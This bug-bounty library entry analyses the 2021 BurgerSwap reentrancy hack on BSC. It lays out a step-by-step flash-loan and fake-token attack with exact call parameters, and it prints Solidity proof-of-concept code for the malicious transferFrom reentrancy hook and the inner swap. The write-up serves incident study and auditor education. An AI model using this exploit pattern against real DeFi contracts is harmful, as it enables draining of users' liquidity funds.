# BurgerSwap: reentrancy in Demax router drains WBNB/BURGER pair

BurgerSwap's Demax router used stale reserves during a multi-hop swap, letting an attacker reenter via a fake token to drain the WBNB/BURGER pair.

- Payout: Real-world hack
- Severity: critical
- Program: BurgerSwap
- Analysis by: DeFiHackLabs
- Disclosed: 2021-05-27
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-05/BurgerSwap_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210527-burgerswap
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:reentrancy

**Target:** DemaxPlatform router and DemaxDelegate factory on BSC
**Root cause:** The router calculated output amounts for a multi-hop swap before executing the inner swap, and did not lock reserves during the token transfer callback, allowing reentrancy to swap at stale prices.
**Steps:**
1. Flash loan 6047 WBNB from USDT_WBNB pair via `swap(0, 6047132230250298663393, address(this), "Flashloan 6047 WBNB")`.
2. Swap 6047 WBNB for 92677 BURGER on DemaxPlatform to pump BURGER price.
3. Deploy FAKE token and call `demaxDelegate.addLiquidity(FAKE, BURGER, 100, 45452 ether, 0, 0, type(uint256).max)` to create FAKE<>BURGER pair.
4. Enable exploit hook in FAKE token, then call `demaxPlatform.swapExactTokensForTokens(1 ether, 0, [FAKE, BURGER, WBNB], address(this), type(uint256).max)`.
5. During transferFrom of FAKE, reenter `enter()` which swaps 45452 BURGER for 4478 WBNB at correct reserves.
6. After reentrancy, the outer swap completes using pre-calculated stale amounts, yielding another 4478 WBNB.
7. Swap 494 WBNB for 108791 BURGER via `swapTokensForExactTokens(108_791 ether, 494 ether, path, address(this), type(uint256).max)` to restore price, then repay flash loan with 0.3% fee.
**How found:** Likely identified that the Demax router calculates swap amounts before executing transfers and lacks reentrancy protection, enabling a callback to manipulate reserves.
**Exploitation:** Attacker flash-loaned WBNB, pumped BURGER price, created a fake token pair, then used a malicious token callback to reenter the router during a multi-hop swap. The router used stale reserves for the outer swap, allowing the attacker to extract WBNB at an inflated price twice, draining the WBNB/BURGER pair.
**Escalation:** Chained flash loan, price manipulation, fake token creation, and reentrancy to amplify profit and drain the pair.
**Insight:** When a router computes multi-hop swap outputs upfront and then performs token transfers, a malicious token can reenter during transferFrom to execute a second swap at updated reserves, causing the outer swap to use stale prices. Always check if reserve reads are locked during callbacks.

## Proof of concept (copied exactly from the original report)

**Malicious token transferFrom reentrancy hook**

```
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        unchecked {
            allowance[sender][msg.sender] -= amount;
            balanceOf[sender] -= amount;
            balanceOf[recipient] += amount;
        }

        if (isExploiting) {
            exploit.enter();
        }
```

**Inner reentrant BURGER to WBNB swap**

```
function enter() public {
        // swap another 45452 BURGER for 4478 WBNB (this inner BURGER -> WBNB swap uses the correct reserves) and is not locked yet
        address[] memory path = new address[](2);
        path[0] = address(BURGER);
        path[1] = address(WBNB);
        demaxPlatform.swapExactTokensForTokens(45_452 ether, 0, path, address(this), type(uint256).max);

        FAKE.disableExploit();
    }
```

